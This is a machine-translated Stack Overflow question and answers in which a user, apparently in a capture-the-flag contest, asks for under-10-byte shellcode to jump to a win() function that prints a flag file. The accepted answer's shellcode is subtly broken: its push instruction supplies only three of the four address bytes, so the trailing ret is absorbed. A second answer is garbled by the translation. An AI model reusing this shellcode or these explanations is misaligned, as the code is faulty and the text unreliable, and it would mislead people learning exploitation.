вызов шеллкода функций C

У меня есть следующий дамп, взятый из gdb

 00000000004006f6 <win>:

 4006f6:       55                      push   rbp
 4006f7:       48 89 e5                mov    rbp,rsp
 4006fa:       bf 98 08 40 00          mov    edi,0x400898
 4006ff:       e8 8c fe ff ff          call   400590 <system@plt>
 400704:       5d                      pop    rbp
 400705:       c3                      ret   

Обычно эта функция C никогда не вызывается, однако мне нужно написать некоторый шеллкод размером менее 10 байт, чтобы запустить его или получить отображаемое значение. Вот источник функции;

void win(){
    system("/bin/cat ./flag.txt");    
}

Я все еще новичок как в ассемблере, так и в C, поэтому любая помощь приветствуется.


person LuckyMuffin    schedule 07.04.2017    source источник
comment
10 байт? Строковый параметр больше 10 байт. Я не понимаю.   -  person ThingyWotsit    schedule 07.04.2017
comment
Вот что меня смущает, по-видимому, есть способ манипулировать eip для вызова функции. Я в растерянности, что делать на данном этапе.   -  person LuckyMuffin    schedule 07.04.2017
comment
Задавать вопросы по СО во время соревнований — это нарушение правил.   -  person Mia Wang    schedule 23.09.2018


Ответы (2)


Чтобы запустить функцию win(), вы должны написать push <function-win-address> ret в шеллкоде.

В вашем случае это будет: \x68\xf6\x06\x40\xc3

\x68 is push

\xf6\x06\x40 - адрес функции

\xc3 is ret

person Damián Rotta    schedule 26.10.2017

mov eax, (выигрышный адрес)

позвоните по eax

objdump коды операций после

person 0xkisi    schedule 07.05.2017